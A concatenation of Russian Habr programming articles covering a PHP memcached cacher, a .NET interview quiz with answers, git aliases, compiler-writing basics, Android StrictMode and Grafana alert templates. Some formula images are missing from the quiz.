>
>
> \* This source code was highlighted with Source Code Highlighter.`
Это будет знаком, что данные надо вытащить из базы, и положить в кеш, добавив, конечно же, соответствующую информацию в кешхеадер.
При необходимости, в кешхеадере можно хранить и другую информацию, например, размер данных, или даже ссылки на другие связанные элементы, что позволит расширить возможности, и реализовать хранение данных не только в виде дерева, но и в виде сети.
Итак, код класса, реализующего описанное выше:
> `php<br/
>
>
> /\*\*
>
> \* Класс для работы с memcached, поддерживающий групповое удаление кеша.
>
> \*
>
> \* @author rvk
>
> \*/
>
> class MemcacheCacher implements DataCacher {
>
>
>
> protected $daemon = null;
>
> protected $key = '';
>
> protected $header = array();
>
> const HEADER\_KEY\_NAME = 'cacheheader';
>
>
>
> public function \_\_construct($key) {
>
> $this->key = explode('|', $key);
>
>
>
> $this->daemon = new Memcache();
>
> $this->daemon->connect('localhost', 11211) or die ("Could not connect");
>
>
>
> //Инициализируем кэшхеадер. В нем будем хранить признак смерти элементов
>
> $this->header = $this->daemon->get(MemcacheCacher::HEADER\_KEY\_NAME);
>
> if (!is\_array($this->header)) {
>
> $this->daemon->add(MemcacheCacher::HEADER\_KEY\_NAME, array(), false, 10000);
>
> $this->header = $this->daemon->get(MemcacheCacher::HEADER\_KEY\_NAME);
>
> }
>
>
>
> }
>
>
>
> /\*\*
>
> \*
>
> \* Устанавливает значение элемента
>
> \*
>
> \* @param mixed $data
>
> \*/
>
>
>
> public function set($data) {
>
> $this->createHeaderElement();
>
> $this->daemon->set(implode('|',$this->key), $data, false, 10000) or die ("Failed to save data at the server");
>
> }
>
>
>
> /\*\*
>
> \*
>
> \* Возвращает значение по ключу
>
> \*
>
> \* @return mixed
>
> \*/
>
>
>
> public function get() {
>
> if ($this->exists()) {
>
> return $this->daemon->get(implode('|',$this->key));
>
> }
>
>
>
> return null;
>
> }
>
>
>
> /\*\*
>
> \*
>
> \* Проверяет значение элемента
>
> \*
>
> \* @return bool
>
> \*/
>
>
>
> public function exists() {
>
> $element = $this->getHeaderElement();
>
> return is\_array($element);
>
> }
>
>
>
> /\*\*
>
> \* Удаляет элемент. На самом деле он остается в памяти, но просто помечается удаленным в кешхеадере.
>
> \* Соответвенно, все вложенные элементы тоже оказываются удаленными
>
> \*/
>
>
>
> public function del() {
>
> if ($this->exists()) {
>
> $element = $this->setHeaderElement(null);
>
> $this->daemon->set(MemcacheCacher::HEADER\_KEY\_NAME, $this->header, false, 10000);
>
> }
>
> }
>
>
>
> /\*\*
>
> \* Очищает кеш
>
> \*/
>
> public function flush() {
>
> $this->daemon->flush();
>
> }
>
>
>
> /\*\*
>
> \*
>
> \* Возвращает ссылку на текущий элемент из кешхеадера
>
> \*
>
> \* @return mixed
>
> \*/
>
>
>
> protected function & getHeaderElement() {
>
> $header = & $this->header;
>
>
>
> foreach ($this->key as $subkey) {
>
> if (!isset ($header[$subkey])) {
>
> return $header[$subkey];
>
> }
>
> $header = & $header[$subkey];
>
> }
>
> return $header;
>
> }
>
>
>
> /\*\*
>
> \*
>
> \* Устанавливаем значение текущего элемента
>
> \*
>
> \* @param mixed $value
>
> \* @return mixed
>
> \*/
>
>
>
> protected function setHeaderElement($value) {
>
> $element = & $this->getHeaderElement();
>
> $element = $value;
>
> $this->daemon->set(MemcacheCacher::HEADER\_KEY\_NAME, $this->header, false, 10000);
>
> }
>
>
>
> /\*\*
>
> \* Создает элемент в кешхеадере и все элементы верхнего уровня
>
> \*/
>
>
>
> protected function createHeaderElement() {
>
> $header = & $this->header;
>
>
>
> foreach ($this->key as $subkey) {
>
> if (!isset ($header[$subkey])) {
>
> $header[$subkey] = array();
>
> }
>
> $header = & $header[$subkey];
>
> }
>
> $this->daemon->set(MemcacheCacher::HEADER\_KEY\_NAME, $this->header, false, 10000);
>
> }
>
>
>
> }
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Что бы обновить все, что относится к комментариям надо выполнить только вот такой код:
$cache->delete('comments');
или обновляем только счетчики
$cache->delete('comments|counters');
ну или только счетчик пользователя
$cache->delete('comments|counters|user123');
Лучше всего о работе класса расскажет юнит-тест (они вообще часто лучше любой документации):
> `php<br/
> class TestOfMemcacheCacher extends UnitTestCase {
>
>
>
> public function setUp() {
>
> $this->cache = new MemcacheCacher('key');
>
> $this->cache->set(1);
>
> }
>
>
>
> public function testOfCacheExists() {
>
> $cache = new MemcacheCacher('key');
>
> $this->assertTrue($cache->exists());
>
> $cache = new MemcacheCacher('key1');
>
> $this->assertFalse($cache->exists());
>
> }
>
>
>
> public function testOfCacheDelete() {
>
> $cache = new MemcacheCacher('key');
>
> $this->assertTrue($cache->exists());
>
> $cache->del();
>
> $this->assertFalse($cache->exists());
>
>
>
> }
>
>
>
> public function testOfCacheGet() {
>
> $cache = new MemcacheCacher('key');
>
> $this->assertEqual($cache->get(), '1');
>
> $this->assertNotEqual($cache->get(), '2');
>
> }
>
>
>
> public function testOfTreeCacheExists() {
>
> $cache = new MemcacheCacher('key|key1');
>
> $cache->set(123);
>
> $this->assertEqual($cache->get(), '123');
>
> $this->assertTrue($cache->exists());
>
> $cache = new MemcacheCacher('key');
>
> $cache->del();
>
> $cache = new MemcacheCacher('key|key1');
>
> $this->assertFalse($cache->exists());
>
> }
>
>
>
> public function tearDown() {
>
> $this->cache->flush();
>
> }
>
>
>
> }
>
>
>
> ?>
>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Подобный подход с успехом работал на проекте photofile.ru под нагрузкой около 4-х млн хитов в сутки.
**P.S** Не стоит относится к коду выше как полностью законченному. Это пример, его можно и нужно оптимизировать. | https://habr.com/ru/post/64976/ | null | ru | null |
# Квест от ЕРАМ: пять задач с собеседований по .NET

До того, как прийти в ЕРАМ, я побывал примерно на 20 собеседованиях в питерских IT-компаниях, и во многих давали задачи. Я синтезировал свой опыт и придумал пять задач, которые похожи на те, что дают на онлайн-тестированиях и очных собеседованиях.
19-20 мая в Питере прошла конференция DotNext, где мы предложили участникам пройти квест, который и состоял из этих задач. Отвечая правильно на задачу, участник получал следующую.
С первыми тремя могут справиться джуниоры, им часто задают подобные вопросы на собеседованиях. Четвертую можно задать кому угодно, но я бы рассчитывал на специалистов уровня middle: далеко не все джуниоры разбираются в возрастаниях сложности алгоритмов.
С пятой задачей справились единицы. Ее сложность – не в том, чтобы вычислить, что будет в селекте (с этим как раз справились многие), а в том, чтобы найти следующее число в последовательности, а для этого требуются хорошие математические знания. Мне кажется, математическая база очень важна для программиста.
Участники конференции подходили и спрашивали, как решать задачи и где можно увидеть их полный список, и я пообещал, что опубликую их тут. Правильные ответы и комментарии спрятаны, чтобы те, кто увидит задачи впервые, смогли решить их без подсказок.
Итак, начнем.
1) Какой результат выведет на консоль данная программа?
```
class Program
{
static void Main(string[] args)
{
var numbers = new int[] { 7, 2, 5, 5, 7, 6, 7 };
var result = numbers.Sum() + numbers.Skip(2).Take(3).Sum();
var y = numbers.GroupBy(x => x).Select(x =>
{
result += x.Key;
return x.Key;
});
Console.WriteLine(result);
}
}
```
**Ответ**56. Учитываем особенности LINQ. Двоичное представление: 111000.
**Комментарий**Подобные задачи довольно часто дают на собеседованиях. Если говорить о квесте, то правильный ответ дали около 80% участников. Самая распространенная ошибка – люди не замечали, что здесь присутствует отложенное выполнение запроса. Почитать подробнее о нем можно вот [тут](https://msdn.microsoft.com/ru-ru/library/bb738633(v=vs.110).aspx).
2) Какой результат выведет на консоль данная программа?
```
class Program
{
private static string GetNumber(int input)
{
try
{
throw new Exception(input.ToString());
}
catch (Exception e)
{
throw new Exception((int.Parse(e.Message) + 3).ToString());
}
finally
{
throw new Exception((++input).ToString());
}
return (input += 4).ToString();
}
static void Main(string[] args)
{
string result;
try
{
result = GetNumber(1);
}
catch (Exception e)
{
result = e.Message;
}
Console.WriteLine(int.Parse(result) * 100);
}
}
```
**Ответ**200. Учитываем специфику finally. Двоичное представление: 11001000.
**Комментарий**Сам сталкивался с подобным вопросом на собеседовании. Если говорить об участниках квеста, правильно смогли ответить около 70%. Они оставляли отзывы и предложения, среди которых – уменьшить количество лишнего кода. Мы это обсудили и пришли к выводу, что все-таки лучше уменьшать читаемость кода для искусственного введения в заблуждение.
3) Какой результат выведет на консоль данная программа?
```
class MagicValue
{
public int Left { get; set; }
public int Right { get; set; }
public MagicValue(int left, int right)
{
Left = left;
Right = right;
}
public static void Apply(MagicValue magicValue)
{
magicValue.Left += 3;
magicValue.Right += 4;
magicValue = new MagicValue(5, 6);
}
public static void ApplyRef(ref MagicValue magicValue)
{
magicValue.Left += 7;
magicValue.Right += 8;
magicValue = new MagicValue(9, 10);
}
}
class Program
{
static void Main(string[] args)
{
var magicValue = new MagicValue(1, 2);
MagicValue.ApplyRef(ref magicValue);
MagicValue.Apply(magicValue);
Console.WriteLine(magicValue.Left * magicValue.Right);
}
}
```
**Ответ**168. Учитываем особенности ref. Двоичное представление: 10101000.
**Комментарий**Это очень популярный вопрос на собеседованиях. Я сам решал подобную задачу, наверное, на каждом втором. На эту тему можно почитать вот [тут](https://msdn.microsoft.com/ru-ru/library/14akc2c7(v=vs.100).aspx). Кстати, только 45% участников квеста смогли найти правильное решение. Зачастую ошибки были не в понимании принципа работы ref, а в математике.
4) Даны 9 функций. Каждой функции соответствует номер от 1 до 9. Расположите функции в порядке возрастания сложности, после чего подставьте 9 номеров отсортированных функций последовательно в формулу \_ \_ \_ — \_ \_ \_ + \_ \_ \_ = «?». Напишите, чему равно «?».
1. 
2. 
3. 
4. 
5. 
6. 
7. 
8. 
9. 
**Ответ**1221. Двоичное представление: 10011000101.
Решение:
6. 
1. 
3. 
2. 
4. 
9. 
8. 
5. 
7. 
6 1 3 — 2 4 9 + 8 5 7 = 1221
**Комментарий**Такая задача реже встречается на собеседованиях, но это – хороший старт для тех, кто изучает сложности алгоритмов. Есть много ресурсов с формулами, и найти их просто. Кроме того, задачу можно решить «подстановкой» на бумаге. На собеседовании могут задать вопрос, связанный со сложностью некоторых алгоритмов, и здорово, когда ответ подкреплен общими знаниями. Если говорить о квесте, с задачей справились только 30% участников.
5) Пусть таблица carTable содержит следующие значения:
| id | model | price |
| --- | --- | --- |
| 1 | Nissan | 1000 |
| 2 | BMW | 2000 |
| 3 | Toyota | 1000 |
| 4 | Renault | 2000 |
| 5 | Peugeot | 1000 |
| 6 | Opel | 2000 |
Результатом представленного ниже SQL запроса будет 2 значения — <1> и <2>.
```
;WITH someTable AS
(SELECT 1 val
UNION ALL
SELECT val + 1 FROM someTable WHERE val BETWEEN 1 AND 3)
SELECT carTable.price / SUM(CASE WHEN carTable.price = 1000 THEN 1 ELSE 2 END) / 250 AS result
FROM someTable
INNER JOIN carTable ON carTable.id = someTable.val
GROUP BY carTable.price
ORDER BY carTable.price ASC
```
<1> и <2> — это первые числа последовательности <1>, <2>, 6, 34, 270, .
Найдите следующее число последовательности.
**Ответ**2698. Двоичное представление: 101010001010.
Решение:
Результатом запроса будут числа 2 и 2 (BETWEEN даст выборку 1,2,3,4. Join сработает на первые 4 записи, GROUP BY их сгруппирует, SELECT вычислится как , . Последовательность вычисляется как , где  – число уже полученных элементов.
Т.е.:





**Комментарий**Это, безусловно, самая сложная задача. С ней справились только 15% участников квеста.
### Заключение
Спасибо всем, кто решал задачи, а особенно тем, кто смог дойти до конца! Было интересно читать ваши отзывы и комментарии. А те, кто внимательно читал условия и давал ответы в двоичной форме – вдвойне молодцы!
Фото взято из архива конференции DotNext. | https://habr.com/ru/post/329998/ | null | ru | null |
# GITips & GITricks
Уже [было](http://habrahabr.ru/blogs/Git/75728/) [несколько](http://habrahabr.ru/blogs/Git/76084/) [статей](http://habrahabr.ru/blogs/development/28268/), где авторы рассказывали о том как скрасить консольные будни с git. В последней приведенной ссылке автор предлагает создавать алиасы, для работы c git, непосредственно в shell. Это не очень хороший способ, хотя бы потому, что, например алиас gc будет конфликтовать с одноименной командой пакета graphviz. git сам прекрасно умеет работать с собственным алиасами.
Не буду вдаваться в подробности каждой команды, про них документации на хабре и так хватает, а просто выложу часть своего .gitconfig.
`[alias]
s = status
b = branch
ba = branch -a -v -v
bs = !git-branch-status
bsi = !git-branch-status -i
ci = commit
co = checkout
d = diff -C
ds = diff -C --stat
dsp = diff -C --stat -p
dw = diff -C --color-words
l = log -C --decorate
ls = log -C --stat --decorate
lsp = log -C --stat -p --decorate
lg = log --graph '--pretty=tformat:%Cblue%h%Creset %Cgreen%ar%Creset %Cblue%d%Creset %s'
lga = log --graph '--pretty=tformat:%Cblue%h%Creset %Cgreen%ar%Creset %Cblue%d%Creset %s' --all
l19 = log --graph '--pretty=tformat:%Cblue%h%Creset %Cgreen%ar%Creset %Cblue%d%Creset %s' --all -19
# для сложных ветвлений
lsd = log --graph '--pretty=tformat:%Cblue%h%Creset %Cgreen%ar%Creset %Cblue%d%Creset %s' --all --simplify-by-decoration
ru = remote update
sb = show-branch --sha1-name
ls-del = ls-files -d
ls-mod = ls-files -m # включая удалённые файлы
ls-new = ls-files --exclude-standard -o
ls-ign = ls-files --exclude-standard -o -i
ka = !gitk --all
kdo = !gitk --date-order
kado = !gitk --all --date-order
kasd = !gitk --all --simplify-by-decoration`
Добавляем в $HOME/.gitconfig данный кусок кода и пользуемся с большим удовольствием. Пользователи svn не будут путаться между svn co/git co, пользователи git получат раскрашенную историю коммитов и удобные шорткаты.
Ну, и в качестве бонуса, вывод текущей ветки в строке приглашения:
добавляем в $HOME/.bashrc
`export PS1='\[\033[01;32m\]\u@\h\[\033[01;34m\] \w $(__git_ps1 "(%s)") \$\[\033[00m\] '`
получаем:
 | https://habr.com/ru/post/78058/ | null | ru | null |
# Пишем свой язык программирования без мам, пап и бизонов. Часть 0: теория
Тема написания своего ЯПа не дает мне покоя уже около полугода. Я не ставил перед собой цель "убить" **CoffeeScript**, **TypeScript**, **ELM**, [тысячи их](https://github.com/jashkenas/coffeescript/wiki/list-of-languages-that-compile-to-js), я просто хотел понять кухню и как они вообще пишутся.
К моему неприятному удивлению, большинство из этих языков используют [Jison](http://zaa.ch/jison/) ([Bison](https://ru.wikipedia.org/wiki/GNU_Bison) для **JavaScript**), а это не совсем попадало под мою задачу — "понять", так как по сути дела **Jison** делает все за вас, собирает **AST** по заданным вами правилам (Jison как таковой отличный инструмент, который делает за вас львиную долю работы, но сейчас не о нем).
В конечном итоге я методом проб и ошибок (а если сказать точнее, чтения статей и реверс инжиниринга) научился писать свои полноценные языки программирования от разбития исходного текста на лексемы до его трансляции в JS код.
Стоит заметить, что данное руководство не привязано к **JavaScript**, он выбран исключительно из соображений скорости разработки и читаемости, так что вы можете написать свой "лисп"/"питон"/"ваш абсолютно новый синтаксис" на любом знакомом вам языке.
Также до момента написании компилятора (в нашем случае транслятора), процесс написания языка не отличается от процессов создания языков компилируемых в **ASM**/**JVM bitcode**/**LLVM bitcode**/**etc**, а это значит, что данное руководство не ограничивается созданием языка трансляцируемого в **JavaScript**.
Весь код, который будет написан в данной (и последующих статьях), [лежит](https://github.com/SuperPaintman/habrlang) на Github'е. Тегами обозначены начало и концы статей для удобства.
Немного теории
--------------
Не углубляясь в википедийность, процесс трансляции исходного кода в конечный JS код протекает следующим образом:
```
source code -(Lexer)-> tokens -(Parser)-> AST -(Compiler)-> js code
```
### Что тут происходит:
#### 1) Lexer
Исходный код нашей программы разбивается на [лексемы](https://en.wikipedia.org/wiki/Lexical_analysis#Lexeme). По-простому это нахождение в исходном тексте ключевых слов, литералов, символов, идентификаторов и т.д.
Т.е. на выходе из этого (**CoffeeScript**):
```
a = true
if a
console.log('Hello, lexer')
```
Мы получаем это (сокращенная запись):
```
[IDENTIFIER:"a"]
[ASSIGN:"="]
[BOOLEAN:"true"]
[NEWLINE:"\n"]
[NEWLINE:"\n"]
[KEYWORD:"if"]
[IDENTIFIER:"a"]
[NEWLINE:"\n"]
[INDENT:" "]
[IDENTIFIER:"console"]
[DOT:"."]
[IDENTIFIER:"log"]
[ROUND_BRAKET_START:"("]
[STRING:"'Hello, lexer'"]
[ROUND_BRAKET_END:")"]
[NEWLINE:"\n"]
[OUTDENT:""]
[EOF:"EOF"]
```
Так-как **CoffeeScript** отступо-чувствительный и не имеет явного выделения блока скобками `{` и `}`, блоки отделяются отступами (`INDENT`ом и `OUTDENT`ом), которые по сути заменяет скобки.
#### 2) Parser
Парсер составляет [AST](https://en.wikipedia.org/wiki/Abstract_syntax_tree) из токенов (лексем). Он обходит весь массив и рекурсивно подбирает подходящие паттерны, основываясь на типи токена или их последовательности.
Из полученных токенов в пункте *1*, parser составит, примерно такое дерево (сокращенная запись):
```
{
type: 'ROOT', // Основная нода нешего дерава
nodes: [{
type: 'VARIABLE', // a = true
id: {
type: 'IDENTIFIER',
value: 'a'
},
init: {
type: 'LITERAL',
value: true
}
}, {
type: 'IF_STATEMENT', // Условное выражение
test: {
type: 'IDENTIFIER',
value: 'a'
},
consequent: {
type: 'BLOCK_STATEMENT',
nodes: [{
type: 'EXPRESSION_STATEMENT', // Вызов console.log
expression: {
type: 'CALL_EXPRESSION',
callee: {
type: 'MEMBER_EXPRESSION',
object: {
type: 'IDENTIFIER',
value: 'console'
},
property: {
type: 'IDENTIFIER',
value: 'log'
}
},
arguments: [{
type: 'LITERAL',
value: 'Hello, lexer'
}]
}
}]
}
}]
}
```
Не стоит пугаться объема дерева, на деле он генерируется рекурсивно и его создание не вызывает трудностей.
#### 3) Compiler
Построение конечного кода по AST. Этот пункт можно заменить на компиляцию в байткод, или даже рантайм, но в рамках данной серии статей мы рассмотрим реализацию транслятора в другой язык программирования.
Компилятор (читай транслятор) преобразует Абстрактно-Синтаксическое Дерево в **JavaScript** код:
```
var a = true;
if (a) {
console.log('Hello, lexer');
}
```
Вот и все. Большинство компиляторов работают именно по такому принципу (с незначительными изменениями. Иногда добавляют процесс стримминга исходного текста в поток символов, иногда напротив объединяют парсинг и компиляцию в один этап, но не нам их судить).
Habrlang
--------
Итак, разобравшись с теорией, нам предстоит собрать свой язык программирования, у которого будет примерно следующий синтаксис (что-бы не особо париться, мы будем делать смесь из **Ruby**, **Python** и **CoffeeScript**):
```
#!/bin/habrlang
# Hello habrlang
def hello
<- "world"
end
console.log(hello())
```
В следующей главе вы реализуем все основные классы нашего транслятора, и научим его транслировать комментарии **Habrlang**'а в **JavaScript**.
**Github Repo**: <https://github.com/SuperPaintman/habrlang> | https://habr.com/ru/post/316460/ | null | ru | null |
# Новое API в Gingerbread — StrictMode. Или боремся с ANR-диалогами
Недавно открыл для себя StrictMode, прочитав [статью](http://android-developers.blogspot.com/2010/12/new-gingerbread-api-strictmode.html) на Android Developers Blog. Ниже представляю Вам ее перевод.

#### За сценой
Одна из клевых вещей в Google — это «20% времени»: 20% от своего рабочего времени вы имеете право заниматься проектами, не имеющими никакого отношения к вашему основному проекту. Когда я пришел в Google, я постоянно переключался с проекта на проект и часто шутил по этому поводу, что у меня 7 таких 20%-ных проектов. Один из проектов, к которому я постоянно возвращался, был Android. Мне нравилась открытость платформы, которая давала мне возможность делать все, что я хотел, в том числе открывать двери моего гаража, когда я подъезжал к своему дому на мотоцикле. Я действительно хотел, чтобы этот проект был успешным, но я беспокоился об одном: Android никогда не был быстрым. Подтормаживающие анимации и элементы пользовательского интерфейса, которые не всегда сразу реагируют на ввод данных. Было очевидно, что причина этого — задачи, выполняющиеся не в том потоке.
Я являюсь активным пользователем SMS и одним из моих 20%-ных проектов в ходе подготовки релиза Cupcake (Android 1.5) стала оптимизация приложения обмена сообщениями. Я оптимизировал его и сделал более плавным, а затем продолжил метаться между другими своими 20%-ными проектами. После выхода релиза Donut (Android 1.6), я заметил, что некоторые из моих оптимизаций случайно оказались сломанными. Мне было немного обидно, но затем я понял, что Android действительно всегда не хватало, так это готового к использованию, встроенного, всепроникающего средства мониторинга производительности.
Я присоединился к команде разработчиков Android на полный рабочий день чуть более года назад и провел много времени за исследованиями проблем производительности во Froyo. В частности посвятил много времени борьбе с ANR-диалогами (вы видите эти раздражающие диалоги, когда приложение выполняет длительные операции внутри основного UI потока). Отладка этих диалогов, с помощью имеющихся инструментов, была трудной и утомительной. Их было не достаточно чтобы найти причину, особенно, при взаимодействии нескольких процессов (например, обращения из Binder'ов или ContentResolver'ов к Service'ам или ContentProvider'ам в других процессах). Необходим был более совершенный инструмент для отслеживания притормаживаний интерфейса или ANR-диалогов.
#### StrictMode
StrictMode это новое API доступное начиная с Gingerbread, которое позволяет вам устанавливать политики на потоки, которые регулируют список операций запрещенных к выполнению в них. Не вдаваясь особо глубоко в детали реализации это просто битовая маска хранящаяся в tread-local переменной.
По умолчанию все операции разрешены, и ничто не стоит у вас на пути, пока вы не захотите этого. Флаги, которыми вы можете управлять через политики, включают:
* обнаружение записи на диск
* обнаружение чтения с диска
* обнаружение сетевого взаимодействия
* при обнаружении: запись в лог
* при обнаружении: остановка приложения
* при обнаружении: запись в Dropbox
* при обнаружении: показать ANR-диалог
Кроме того, StrictMode имеет несколько хуков в большинстве мест, которые выполняют обращения к диску (в `java.io.*`, `android.database.sqlite.*` и т.д.) и сети (`java.net.*`), которые проверяют соблюдение текущим потоком установленных политик, реагируя соответствующим образом.
Сильной стороной StrictMode является то, что в каждом потоке политики срабатывают всякий раз, когда Binder выполняет IPC запросы к другим Service'ам или ContentProvider'ам, при этом стек трейсы склеиваются вместе несмотря на количество межпроцессных вызовов.
#### Никто не хочет быть медленным
Вы можете знать все места, где ваше приложение выполняет операции дискового ввода/вывода, но знаете ли вы, все места, где это делают системные сервисы и провайдеры? Я — нет. Я пытаюсь находить такие места, но объем исходного кода платформы слишком велик. Мы постоянно работаем над совершенствованием документации к SDK, добавляя в нее советы, касающиеся производительности, но, обычно, я полагаюсь на StrictMode, чтобы найти коде случайные обращения к диску.
#### Обращения к диску в мобильных устройствах
Минутку! Что может быть не так с обращениями к диску? Ведь все Android устройства используют флэш-память. Это же практически супер-быстрый SSD, без движущихся частей? Я же не должен беспокоиться об этом? К сожалению — нет.
Вы не можете положиться на то, что все флэш-компоненты или файловые системы, используемые в большинстве Android устройств работают быстро. YAFFS — файловая система, используемая во многих Android устройствах, имеет глобальную блокировку на каждую операцию. Для всего устройства в один момент времени может выполняться только одна операция. Даже простая «stat» операция может занять продолжительное время, если вам не повезло. Другие устройства с более традиционными файловыми системами так же имеют ряд недостатков, например, когда сборщик мусора решает начать выполнять медленные операции по освобождению флэш-памяти. (Более подробно данная проблема описана [здесь](http://lwn.net/Articles/353411))
Вывод из всего вышесказанного такой: несмотря на то, что файловая система на мобильных устройствах, как правило, быстрая, тем не менее в 90% случаев, в момент когда случится задержка она будет очень большой. Кроме того, производительность большинства файловых систем падает с уменьшением количества свободного места на диске. (См. [слайды](http://code.google.com/p/zippy-android) с Google I/O Zippy Android App)
#### Главный поток приложения
Различные Android-колбэки и события жизненного цикла, обычно обрабатываются в главном потоке приложения (он же UI-thread). В большинстве случаев это делает жизнь проще, но это также заставляет вас быть осторожными, потому что все анимации, скролирования и прочее так же исполняются в этом потоке.
Если вы хотите запустить анимацию со скоростью 60 fps и вдруг срабатывает событие (также в основном потоке), у вас есть 16 мс для запуска кода, реагирующего на это событие. Если вы затратите времени больше чем 16 мс, например, из за операции записи на диск, вы получите подвисание. Обычно обращения к диску занимают значительно меньше времени чем 16 мс, но иногда это может быть не так. Например, в случае YAFFS файловой системы, если вы ждете пока ресурс файловой системы будет освобожден другим процессом, который в данный момент находится в середине процесса записи.
Сетевые операции особенно медленны и не предсказуемы, поэтому вы никогда не должны совершать обращения к сетевым ресурсам из основного потока приложения. По этой же причине, в предстоящем релизе Honeycomb мы сделали так, что бы сетевые запросы в главном потоке приводили к фатальной ошибке (Если ваше приложение имеет `targetSdkVersion` версии API Honeycomb и старше). Поэтому если вы хотите, подготовить свое приложение к выходу Honeycomb, убедитесь, что вы никогда не делаете сетевых запросов в UI-потоке. (см. «Повышаем плавность» ниже).
#### Включаем StrictMode
Рекомендуемый способ использования StrictMode — это включить его в процессе разработки, проанализировать вывод, и затем отключить перед релизом приложения.
Например, вы можете включить его в `onCreate()` приложения или компонента:
```
public void onCreate() {
if (DEVELOPER_MODE) {
StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
.detectDiskReads()
.detectDiskWrites()
.detectNetwork()
.penaltyLog()
.build());
}
super.onCreate();
}
```
Или просто:
```
public void onCreate() {
if (DEVELOPER_MODE) {
StrictMode.enableDefaults();
}
super.onCreate();
}
```
Последний способ был добавлен специально для того чтобы вы могли продолжать использовать пре-Gingerbread API и при этом имели возможность легко включить StrictMode используя рефлексию или другие техники. Например, вы могли бы указать в качестве `targetApi` Donut (Android 1.6), но по-прежнему использовать StrictMode если вы тестируете приложение на Gingerbread устройстве или эмуляторе.
#### Анализ StrictMode
Если вы используете `penaltyLog()`, по умолчанию, просто запустите `adb logcat` и читайте вывод терминала. Любые нарушения политик будут попадать в вашу консоль.
Если вы хотите найти подозрительные места в коде, включите `penaltyDropbox ()`, и они StrictMode запишет свой вывод в `DropBoxManager`, откуда вы сможете его извлечь позже с помощью `adb shell dumpsys dropbox data_app_strictmode --print`
#### Повышаем плавность
В дополнение к потокам и j`ava.util.concurrent.*` у вас есть возможность использовать некоторое Android API, например, таких как `Handler`, `AsyncTask`, `AsyncQueryHandler` и `IntentService`.
#### Наш опыт
Во время работы над кодом самой платформы мы каждый день получали «dogfood»-билд, который использовала вся команда. В процессе разработки Gingerbread, мы каждый день собирали билды со включенным StrictMode и регистрировали все найденные нарушения для дальнейшего анализа. Каждый час запускался MapReduce процесс, который собирал интерактивный отчет содержащий все нарушения, их стек-трейсы (включая межпроцессные вызовы), их продолжительность, процессы и пакеты в которых они произошли и т.д.
Используя данные из StrictMode мы исправили сотни ошибок и увеличили плавность анимации и отзывчивость по всей системе. Мы оптимизировали ядро Android (например, системные службы и провайдеры), так что это пойдет на пользу всем программам в системе, а также исправили кучу ошибок непосредственно в приложениях (как в приложениях AOSP, так и Google). Даже если вы все еще используете Froyo, последние обновления для GMail, Google Maps, YouTube всеравно содержат исправления, повышающие их производительность, полученные путем анализа данных собранных с помощью StrictMode.
Там, где мы не могли автоматически ускорить работу системы, мы добавили новое API, чтобы сделать применение определенных паттернов более простым и эффективным. Например, есть новый метод `SharedPreferences.Editor.apply()`, который вы должны использовать вместо `commit()`, если вам не нужно значение возвращаемое `commit()`'ом (Оказывается, почти никто никогда им не пользуется). Вы даже можете использовать рефлексию для того чтобы определить прямо в рантайме что вам использовать `apply()` или `commit()`, в зависимости от версии платформы.
Пользователи, которые перешли с Froyo на Gingerbread были потрясены тем насколько более быстрой стала их система. Наши друзья из команды Chrome, тоже недавно добавили нечто подобное. Конечно, StrictMode не может присвоить себе всю славу связанную с ускорением системы, новый сборщик мусора так же сыграл в этом большую роль.
#### Что дальше?
StrictMode API и его возможности будут продолжать развиваться. Мы уже добавили некоторые клевые штуки в связанные со StrictMode в Honeycomb, но давайте нам знать, что еще вы бы хотели увидеть в нем! Я буду отвечать на ваши вопросы с тегом «strictmode» на stackoverflow.com. Спасибо! | https://habr.com/ru/post/152571/ | null | ru | null |
# Делаем нотификации графаны снова читаемыми
Что можно сказать про оповещения о проблемах в графане? Ну разве что то, что они есть. Не могу сказать, что они мне действительно нравились, но они были недостаточно плохими для того, чтобы заняться их кастомизацией.
Но после обновления графаны до девятой версии всё изменилось. Я обнаружил, что сообщения превратились в малочитаемые простыни (на картинке слева):
Потратив некоторое время на поиск в гугле и чтение документации, я узнал, что теперь в графане по умолчанию используется новая подсистема unified alerting (оно же ngalert, оно же с недавних пор просто alerting). Для каждого канала нотификации можно установить свой шаблон сообщений. Для описания шаблонов используется [Go Template](https://pkg.go.dev/text/template), в документации описаны доступные из темплейта [данные](https://grafana.com/docs/grafana/next/alerting/contact-points/message-templating/template-data/) и [функции](https://grafana.com/docs/grafana/next/alerting/fundamentals/annotation-label/template-functions/), в исходниках есть [стандартный шаблон](https://github.com/grafana/grafana/blob/10a33be2c257839ed87d890670a90b18b71276ab/pkg/services/ngalert/notifier/channels/default_template.go#L15). В общем, информации для создания своего шаблона вполне достаточно.
После некоторых экспериментов у меня получился вот такой вариант:
```
{{ define "tgshortbody" }}{{ range . }} **{{ or .Annotations.message .Labels.alertname }}**
{{ range .Annotations.SortedPairs }}{{ if ne .Name "message" }}{{ .Name }}: {{ .Value }}
{{ end }}{{ end }}
{{ with .ValueString }}{{ reReplaceAll "[[][^]]*metric='{?([^}']*)}?'[^]]*value=([0-9]*([.][0-9]{,3})?)[^]]*](, )?" "$1: **$2**\n" . }}
{{ end }}{{ with .PanelURL }}[Chart]({{ . }}) {{ end }}{{ with .DashboardURL }}@[Dashboard]({{ . }}) {{ end }}{{ with .GeneratorURL }} [Edit]({{ . }}) {{ end }}{{ with .SilenceURL }} [Mute]({{ . }}) {{ end }}
{{ end }}{{ end }}
{{ define "tgshort" }}{{ with .Alerts.Firing }}⚠️{{ template "tgshortbody" . }}{{ end }}{{ with .Alerts.Resolved }}✅{{ template "tgshortbody" . }}{{ end }}{{ end }}
```
Как видите, всего несколько строчек. Самым сложным оказалось переделать `ValueString` из нечитаемого нечто наподобие `[ var='B0' metric='Zombie' labels={} value=10.85 ]` в что-то, похожее на выдававшееся старой графаной. Так как это строка, пришлось воспользоваться чёрной магией регулярных выражений. Скажу честно, мне такое решение не нравится, слишком оно ненадёжное (например, появление одинарной кавычки в имени тега сломает регулярное выражение), да и нечитаемое, но особого выбора не было. FR на добавление нетекстового представления [создал](https://github.com/grafana/grafana/discussions/51812).
